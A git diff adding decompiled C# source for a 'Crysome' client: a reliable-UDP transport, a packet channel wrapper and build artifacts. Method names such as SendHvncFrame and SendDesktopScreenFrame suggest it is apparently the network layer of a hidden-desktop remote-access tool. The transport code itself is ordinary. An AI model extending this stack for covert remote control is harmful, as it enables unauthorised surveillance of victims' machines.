AttachChannel(RudpChannel channel) + { + _rudp = channel; + _rudp.ReliableReceived += OnReliableData; + _rudp.UnreliableFrameReceived += OnUnreliableControl; + _rudp.Disconnected += OnDisconnected; + } + + public RudpChannel GetRudpChannel() + { + return _rudp; + } + + public void SendPacket(IPacket packet) + { + byte[] payload = PacketSerializer.Serialize(packet); + _rudp.SendReliable(payload); + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + + public void SendPacketUnreliable(IPacket packet) + { + byte[] payload = PacketSerializer.Serialize(packet); + _rudp.SendUnreliable(0, payload); + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + + public void SendDesktopScreenFrame(byte[] jpegData) + { + if (jpegData != null && jpegData.Length != 0) + { + _rudp.SendUnreliable(36, jpegData); + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + } + + public void SendHvncFrame(byte[] jpegData) + { + if (jpegData != null && jpegData.Length != 0) + { + _rudp.SendUnreliable(46, jpegData); + this.PacketSent?.Invoke(this, EventArgs.Empty); + } + } + + public IPacket ReadPacket() + { + try + { + IPacket result = _inQueue.Take(_readCts.Token); + this.PacketReceived?.Invoke(this, EventArgs.Empty); + return result; + } + catch (OperationCanceledException) + { + throw new IOException("Connection closed"); + } + } + + public void Disconnect() + { + _readCts.Cancel(); + try + { + _rudp?.SendFin(); + } + catch + { + } + try + { + _rudp?.Dispose(); + } + catch + { + } + } + + private void OnReliableData(byte[] payload) + { + try + { + IPacket packet = PacketSerializer.Deserialize(payload); + if (packet != null && !_inQueue.IsAddingCompleted) + { + _inQueue.TryAdd(packet, 100); + } + } + catch + { + } + } + + private void OnUnreliableControl(byte typeId, byte[] data) + { + if (typeId != 0 || data == null) + { + return; + } + try + { + IPacket packet = PacketSerializer.Deserialize(data); + if (packet != null && !_inQueue.IsAddingCompleted) + { + _inQueue.TryAdd(packet, 20); + } + } + catch + { + } + } + + private void OnDisconnected() + { + _readCts.Cancel(); + _inQueue.CompleteAdding(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network/RudpChannel.cs b/Crysome.Common.Client/Crysome.Common.Network/RudpChannel.cs new file mode 100644 index 0000000..dfcc913 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network/RudpChannel.cs @@ -0,0 +1,799 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using System.Threading.Tasks; + +namespace Crysome.Common.Network; + +public sealed class RudpChannel : IDisposable +{ + private sealed class Pending + { + public uint Seq; + + public byte[][] Datagrams; + + public DateTime SentAt; + + public DateTime LastSent; + + public int Retries; + } + + private sealed class FragBuf + { + public byte[][] Frags; + + public int RecvCount; + + public DateTime Created = DateTime.UtcNow; + + public bool IsComplete + { + get + { + if (Frags != null) + { + return RecvCount >= Frags.Length; + } + return false; + } + } + } + + public const int HeaderSize = 19; + + private const int WireMtuSafePayload = 1200; + + public const byte F_RELIABLE = 1; + + public const byte F_UNRELIABLE = 2; + + public const byte F_ACK = 4; + + public const byte F_SYN = 8; + + public const byte F_SYNACK = 16; + + public const byte F_FIN = 32; + + public const byte F_KEEPALIVE = 64; + + private const int InitRto = 500; + + private const int MaxRto = 16000; + + private const int MaxRetries = 15; + + private const int KeepaliveMs = 5000; + + private const int TimeoutMs = 30000; + + private const int MaxInFlight = 64; + + private readonly UdpClient _socket; + + private readonly bool _ownsSocket; + + private uint _sendSeq; + + private uint _recvSeq; + + private uint _unrelSendSeq; + + private uint _unrelLastSeq; + + private readonly object _seqLock = new object(); + + private readonly ConcurrentDictionary _pending = new ConcurrentDictionary(); + + private readonly SortedDictionary _ooo = new SortedDictionary(); + + private readonly object _oooLock = new object(); + + private readonly ConcurrentDictionary _fragBufs = new ConcurrentDictionary(); + + private readonly ConcurrentDictionary _relFragBufs = new ConcurrentDictionary(); + + private int _rtoMs = 500; + + private bool _rtoDoubledThisCycle; + + private DateTime _lastActivity = DateTime.UtcNow; + + private CancellationTokenSource _cts; + + private bool _disposed; + + private readonly SemaphoreSlim _sendWindow = new SemaphoreSlim(64, 64); + + private readonly object _statsLock = new object(); + + private double _srtt = 100.0; + + private double _rttvar = 50.0; + + public uint SessionId { get; private set; } + + public IPEndPoint Remote { get; private set; } + + public bool IsAlive + { + get + { + if (!_disposed) + { + return (DateTime.UtcNow - _lastActivity).TotalMilliseconds < 30000.0; + } + return false; + } + } + + public double RttMs { get; private set; } = 100.0; + + public double LossRate { get; private set; } + + public long BytesSent { get; private set; } + + public long BytesRecv { get; private set; } + + public long PktsSent { get; private set; } + + public long PktsLost { get; private set; } + + public event Action ReliableReceived; + + public event Action UnreliableFrameReceived; + + public event Action Disconnected; + + public event Action CongestionChanged; + + public RudpChannel(uint sessionId, IPEndPoint remote, int localPort = 0) + { + SessionId = sessionId; + Remote = remote; + _socket = new UdpClient(localPort); + _socket.Client.ReceiveBufferSize = 8388608; + _socket.Client.SendBufferSize = 8388608; + _ownsSocket = true; + } + + public RudpChannel(uint sessionId, IPEndPoint remote, UdpClient sharedSocket) + { + SessionId = sessionId; + Remote = remote; + _socket = sharedSocket; + _ownsSocket = false; + } + + public void Start() + { + _cts = new CancellationTokenSource(); + if (_ownsSocket) + { + Task.Run(delegate + { + OwnedReceiveLoop(_cts.Token); + }); + } + Task.Run(delegate + { + RetransmitLoop(_cts.Token); + }); + Task.Run(delegate + { + KeepaliveLoop(_cts.Token); + }); + } + + public void Dispose() + { + if (_disposed) + { + return; + } + _disposed = true; + try + { + _cts?.Cancel(); + } + catch + { + } + if (_ownsSocket) + { + try + { + _socket?.Close(); + } + catch + { + } + } + int count = _pending.Count; + _pending.Clear(); + for (int i = 0; i < count + 64; i++) + { + try + { + _sendWindow.Release(); + } + catch + { + } + } + } + + public void SendReliable(byte[] payload) + { + if (_disposed) + { + return; + } + _sendWindow.Wait(); + if (_disposed) + { + _sendWindow.Release(); + return; + } + int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200); + uint num2; + lock (_seqLock) + { + num2 = ++_sendSeq; + } + byte[][] array = new byte[num][]; + for (ushort num3 = 0; num3 < num; num3++) + { + int num4 = num3 * 1200; + int payLen = Math.Min(1200, payload.Length - num4); + array[num3] = BuildDatagram(1, num2, 0u, num3, (ushort)num, 0, payload, num4, payLen); + } + Pending value = new Pending + { + Seq = num2, + Datagrams = array, + SentAt = DateTime.UtcNow, + LastSent = DateTime.UtcNow + }; + _pending[num2] = value; + bool flag = num > 4; + byte[][] array2 = array; + foreach (byte[] dg in array2) + { + RawSend(dg); + if (flag) + { + Thread.Sleep(2); + } + } + PktsSent++; + } + + public void SendUnreliable(byte packetTypeId, byte[] payload) + { + if (_disposed) + { + return; + } + uint seqNum; + lock (_seqLock) + { + seqNum = ++_unrelSendSeq; + } + int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200); + for (ushort num2 = 0; num2 < num; num2++) + { + int num3 = num2 * 1200; + int payLen = Math.Min(1200, payload.Length - num3); + byte[] dg = BuildDatagram(2, seqNum, 0u, num2, (ushort)num, packetTypeId, payload, num3, payLen); + RawSend(dg); + if (num > 16 && (num2 & 0xF) == 15 && num2 < num - 1) + { + Thread.Sleep(1); + } + } + } + + public void SendSyn() + { + byte[] dg = BuildDatagram(8, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + + public void SendSynAck() + { + byte[] dg = BuildDatagram(16, SessionId, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + + public void SendFin() + { + byte[] dg = BuildDatagram(32, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + try + { + RawSend(dg); + } + catch + { + } + } + + public void FeedDatagram(byte[] datagram) + { + ProcessDatagram(datagram); + } + + private async void OwnedReceiveLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + try + { + ProcessDatagram((await _socket.ReceiveAsync()).Buffer); + } + catch (ObjectDisposedException) + { + break; + } + catch + { + } + } + } + + private void ProcessDatagram(byte[] dg) + { + if (dg == null || dg.Length < 19) + { + return; + } + _lastActivity = DateTime.UtcNow; + BytesRecv += dg.Length; + BitConverter.ToUInt32(dg, 0); + byte b = dg[4]; + uint seq = BitConverter.ToUInt32(dg, 5); + uint ackSeq = BitConverter.ToUInt32(dg, 9); + ushort fragIdx = BitConverter.ToUInt16(dg, 13); + ushort fragCount = BitConverter.ToUInt16(dg, 15); + byte typeId = dg[17]; + int payLen = dg.Length - 19; + if ((b & 4) != 0) + { + HandleAck(ackSeq); + } + else if ((b & 0x40) == 0) + { + if ((b & 0x20) != 0) + { + TriggerDisconnect(); + } + else if ((b & 1) != 0) + { + HandleReliableData(seq, fragIdx, fragCount, dg, payLen); + } + else if ((b & 2) != 0) + { + HandleUnreliableData(seq, typeId, fragIdx, fragCount, dg, payLen); + } + } + } + + private void HandleAck(uint ackSeq) + { + if (_pending.TryRemove(ackSeq, out var value)) + { + double totalMilliseconds = (DateTime.UtcNow - value.SentAt).TotalMilliseconds; + UpdateRtt(totalMilliseconds); + try + { + _sendWindow.Release(); + } + catch + { + } + } + } + + private void HandleReliableData(uint seq, ushort fragIdx, ushort fragCount, byte[] dg, int payLen) + { + int num = 19; + if (payLen < 0 || num + payLen > dg.Length) + { + return; + } + byte[] array = new byte[payLen]; + if (payLen > 0) + { + Buffer.BlockCopy(dg, num, array, 0, payLen); + } + if (fragCount > 1) + { + FragBuf orAdd = _relFragBufs.GetOrAdd(seq, (uint _) => new FragBuf + { + Frags = new byte[fragCount][] + }); + if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null) + { + return; + } + orAdd.Frags[fragIdx] = array; + Interlocked.Increment(ref orAdd.RecvCount); + if (!orAdd.IsComplete) + { + return; + } + _relFragBufs.TryRemove(seq, out var _); + SendAck(seq); + int num2 = 0; + byte[][] frags = orAdd.Frags; + foreach (byte[] array2 in frags) + { + if (array2 != null) + { + num2 += array2.Length; + } + } + byte[] array3 = new byte[num2]; + int num4 = 0; + frags = orAdd.Frags; + foreach (byte[] array4 in frags) + { + if (array4 != null) + { + Buffer.BlockCopy(array4, 0, array3, num4, array4.Length); + num4 += array4.Length; + } + } + array = array3; + } + else + { + SendAck(seq); + } + lock (_oooLock) + { + uint num5 = _recvSeq + 1; + if (seq == num5 || _recvSeq == 0) + { + _recvSeq = seq; + DispatchReliable(array); + while (true) + { + uint num6 = _recvSeq + 1; + if (_ooo.TryGetValue(num6, out var value2)) + { + _ooo.Remove(num6); + _recvSeq = num6; + DispatchReliable(value2); + continue; + } + break; + } + } + else if ((int)(seq - num5) > 0 && !_ooo.ContainsKey(seq)) + { + _ooo[seq] = array; + } + } + } + + private void HandleUnreliableData(uint seq, byte typeId, ushort fragIdx, ushort fragCount, byte[] dg, int payLen) + { + lock (_seqLock) + { + if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0) + { + return; + } + } + int num = 19; + if (payLen < 0 || num + payLen > dg.Length) + { + return; + } + byte[] array = new byte[payLen]; + if (payLen > 0) + { + Buffer.BlockCopy(dg, num, array, 0, payLen); + } + if (fragCount <= 1) + { + lock (_seqLock) + { + _unrelLastSeq = seq; + } + DispatchUnreliable(typeId, array); + return; + } + FragBuf orAdd = _fragBufs.GetOrAdd(seq, (uint _) => new FragBuf + { + Frags = new byte[fragCount][] + }); + if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null) + { + return; + } + orAdd.Frags[fragIdx] = array; + Interlocked.Increment(ref orAdd.RecvCount); + if (!orAdd.IsComplete) + { + return; + } + _fragBufs.TryRemove(seq, out var _); + lock (_seqLock) + { + if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0) + { + return; + } + _unrelLastSeq = seq; + } + int num2 = 0; + byte[][] frags = orAdd.Frags; + foreach (byte[] array2 in frags) + { + if (array2 != null) + { + num2 += array2.Length; + } + } + byte[] array3 = new byte[num2]; + int num4 = 0; + frags = orAdd.Frags; + foreach (byte[] array4 in frags) + { + if (array4 != null) + { + Buffer.BlockCopy(array4, 0, array3, num4, array4.Length); + num4 += array4.Length; + } + } + DispatchUnreliable(typeId, array3); + } + + private void DispatchReliable(byte[] data) + { + Task.Run(delegate + { + try + { + this.ReliableReceived?.Invoke(data); + } + catch + { + } + }); + } + + private void DispatchUnreliable(byte typeId, byte[] data) + { + Task.Run(delegate + { + try + { + this.UnreliableFrameReceived?.Invoke(typeId, data); + } + catch + { + } + }); + } + + private async void RetransmitLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + await Task.Delay(50, ct).ContinueWith(delegate + { + }); + DateTime utcNow = DateTime.UtcNow; + FragBuf value; + foreach (KeyValuePair fragBuf in _fragBufs) + { + if ((utcNow - fragBuf.Value.Created).TotalSeconds > 10.0) + { + _fragBufs.TryRemove(fragBuf.Key, out value); + } + } + foreach (KeyValuePair relFragBuf in _relFragBufs) + { + if ((utcNow - relFragBuf.Value.Created).TotalSeconds > 60.0) + { + _relFragBufs.TryRemove(relFragBuf.Key, out value); + } + } + _rtoDoubledThisCycle = false; + foreach (KeyValuePair item in _pending) + { + Pending value2 = item.Value; + if ((utcNow - value2.LastSent).TotalMilliseconds < (double)_rtoMs) + { + continue; + } + if (value2.Retries >= 15) + { + if (_pending.TryRemove(value2.Seq, out var _)) + { + PktsLost++; + UpdateLossRate(); + try + { + _sendWindow.Release(); + } + catch + { + } + } + continue; + } + value2.Retries++; + value2.LastSent = utcNow; + if (!_rtoDoubledThisCycle) + { + _rtoMs = Math.Min(_rtoMs * 2, 16000); + _rtoDoubledThisCycle = true; + } + bool flag = value2.Datagrams.Length > 4; + byte[][] datagrams = value2.Datagrams; + foreach (byte[] dg in datagrams) + { + RawSend(dg); + if (flag) + { + Thread.Sleep(1); + } + } + } + UpdateCongestionMetric(); + if ((utcNow - _lastActivity).TotalMilliseconds > 30000.0) + { + TriggerDisconnect(); + } + } + } + + private async void KeepaliveLoop(CancellationToken ct) + { + while (!ct.IsCancellationRequested && !_disposed) + { + await Task.Delay(5000, ct).ContinueWith(delegate + { + }); + if (!_disposed) + { + try + { + byte[] dg = BuildDatagram(64, 0u, 0u, 0, 1, 0, new byte[0], 0, 0); + RawSend(dg); + } + catch + { + } + continue; + } + break; + } + } + + private void SendAck(uint seq) + { + byte[] dg = BuildDatagram(4, 0u, seq, 0, 1, 0, new byte[0], 0, 0); + try + { + RawSend(dg); + } + catch + { + } + } + + private void UpdateRtt(double sample) + { + lock (_statsLock) + { + _rttvar = 0.75 * _rttvar + 0.25 * Math.Abs(_srtt - sample); + _srtt = 0.875 * _srtt + 0.125 * sample; + RttMs = _srtt; + _rtoMs = Math.Max(200, Math.Min(16000, (int)(_srtt + 4.0 * _rttvar))); + } + } + + private void UpdateLossRate() + { + double val = ((PktsSent > 0) ? ((double)PktsLost / (double)PktsSent) : 0.0); + LossRate = Math.Min(1.0, val); + } + + private void UpdateCongestionMetric() + { + UpdateLossRate(); + double num = Math.Min(1.0, RttMs / 2000.0); + double lossRate = LossRate; + double obj = Math.Min(1.0, num * 0.5 + lossRate * 0.5); + try + { + this.CongestionChanged?.Invoke(obj); + } + catch + { + } + } + + private void TriggerDisconnect() + { + if (_disposed) + { + return; + } + Dispose(); + try + { + this.Disconnected?.Invoke(); + } + catch + { + } + } + + private byte[] BuildDatagram(byte flags, uint seqNum, uint ackNum, ushort fragIdx, ushort fragCount, byte packetTypeId, byte[] payload, int payOffset, int payLen) + { + byte[] array = new byte[19 + payLen]; + Buffer.BlockCopy(BitConverter.GetBytes(SessionId), 0, array, 0, 4); + array[4] = flags; + Buffer.BlockCopy(BitConverter.GetBytes(seqNum), 0, array, 5, 4); + Buffer.BlockCopy(BitConverter.GetBytes(ackNum), 0, array, 9, 4); + Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, 13, 2); + Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, 15, 2); + array[17] = packetTypeId; + array[18] = 0; + if (payLen > 0) + { + Buffer.BlockCopy(payload, payOffset, array, 19, payLen); + } + return array; + } + + private void RawSend(byte[] dg) + { + if (_disposed || dg == null) + { + return; + } + try + { + _socket.Send(dg, dg.Length, Remote); + BytesSent += dg.Length; + } + catch + { + } + } + + public static bool ParseHeader(byte[] dg, int len, out uint sessionId, out byte flags, out uint seqNum, out uint ackNum, out ushort fragIdx, out ushort fragCount, out byte packetTypeId) + { + sessionId = 0u; + flags = 0; + seqNum = 0u; + ackNum = 0u; + fragIdx = 0; + fragCount = 0; + packetTypeId = 0; + if (dg == null || len < 19) + { + return false; + } + sessionId = BitConverter.ToUInt32(dg, 0); + flags = dg[4]; + seqNum = BitConverter.ToUInt32(dg, 5); + ackNum = BitConverter.ToUInt32(dg, 9); + fragIdx = BitConverter.ToUInt16(dg, 13); + fragCount = BitConverter.ToUInt16(dg, 15); + packetTypeId = dg[17]; + return true; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network/UdpTransport.cs b/Crysome.Common.Client/Crysome.Common.Network/UdpTransport.cs new file mode 100644 index 0000000..177c1a5 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network/UdpTransport.cs @@ -0,0 +1,53 @@ +using System; + +namespace Crysome.Common.Network; + +public static class UdpTransport +{ + public const int HeaderSize = 13; + + public const int MaxFragmentSize = 60000; + + public static byte[] BuildFragment(uint sessionToken, byte packetTypeId, uint frameSeq, ushort fragIdx, ushort fragCount, byte[] payloadData, int payloadOffset, int payloadLength) + { + byte[] array = new byte[13 + payloadLength]; + int num = 0; + Buffer.BlockCopy(BitConverter.GetBytes(sessionToken), 0, array, num, 4); + num += 4; + array[num++] = packetTypeId; + Buffer.BlockCopy(BitConverter.GetBytes(frameSeq), 0, array, num, 4); + num += 4; + Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, num, 2); + num += 2; + Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, num, 2); + num += 2; + Buffer.BlockCopy(payloadData, payloadOffset, array, num, payloadLength); + return array; + } + + public static bool ParseHeader(byte[] datagram, int length, out uint sessionToken, out byte packetTypeId, out uint frameSeq, out ushort fragIdx, out ushort fragCount, out int payloadOffset, out int payloadLength) + { + sessionToken = 0u; + packetTypeId = 0; + frameSeq = 0u; + fragIdx = 0; + fragCount = 0; + payloadOffset = 0; + payloadLength = 0; + if (length < 13) + { + return false; + } + int num = 0; + sessionToken = BitConverter.ToUInt32(datagram, num); + num += 4; + packetTypeId = datagram[num++]; + frameSeq = BitConverter.ToUInt32(datagram, num); + num += 4; + fragIdx = BitConverter.ToUInt16(datagram, num); + num += 2; + fragCount = BitConverter.ToUInt16(datagram, num); + payloadLength = length - (payloadOffset = num + 2); + return true; + } +} diff --git a/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.dgspec.json b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.dgspec.json new file mode 100644 index 0000000..7c96038 --- /dev/null +++ b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.dgspec.json @@ -0,0 +1,75 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "projectName": "Crysome.Common.Client", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net472" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "dependencies": { + "System.Buffers": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Memory": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Text.Json": { + "target": "Package", + "version": "[8.0.5, )" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.props b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.props new file mode 100644 index 0000000..b837261 --- /dev/null +++ b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.props @@ -0,0 +1,17 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + \ No newline at end of file diff --git a/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.targets b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.targets new file mode 100644 index 0000000..9fd11e6 --- /dev/null +++ b/Crysome.Common.Client/obj/Crysome.Common.Client.csproj.nuget.g.targets @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Crysome.Common.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Crysome.Common.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Crysome.Common.Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Crysome.Common.Client/obj/Debug/Crysome..C0F289B8.Up2Date b/Crysome.Common.Client/obj/Debug/Crysome..C0F289B8.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..e3391fd --- /dev/null +++ b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,8 @@ +is_global = true +build_property.RootNamespace = Crysome.Common.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.assets.cache b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.assets.cache new file mode 100644 index 0000000..781feb8 Binary files /dev/null and b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.assets.cache differ diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.AssemblyReference.cache b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..cebdbe4 Binary files /dev/null and b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.AssemblyReference.cache differ diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.CoreCompileInputs.cache b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..83aecd1 --- /dev/null +++ b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +e0f29d03bc14f60fc249c499041edd589bddd31b067d4e8bf2c74975e7b67c30 diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.FileListAbsolute.txt b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..4d70103 --- /dev/null +++ b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,8 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome.Common.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome.Common.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome..C0F289B8.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome.Common.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Debug\Crysome.Common.Client.pdb diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.dll b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.dll new file mode 100644 index 0000000..e15b578 Binary files /dev/null and b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.dll differ diff --git a/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.pdb b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.pdb new file mode 100644 index 0000000..ffef03c Binary files /dev/null and b/Crysome.Common.Client/obj/Debug/Crysome.Common.Client.pdb differ diff --git a/Crysome.Common.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Crysome.Common.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Crysome.Common.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Crysome.Common.Client/obj/Release/Crysome..C0F289B8.Up2Date b/Crysome.Common.Client/obj/Release/Crysome..C0F289B8.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..e3391fd --- /dev/null +++ b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,8 @@ +is_global = true +build_property.RootNamespace = Crysome.Common.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.assets.cache b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.assets.cache new file mode 100644 index 0000000..e9fa52b Binary files /dev/null and b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.assets.cache differ diff --git a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.AssemblyReference.cache b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..cebdbe4 Binary files /dev/null and b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.AssemblyReference.cache differ diff --git 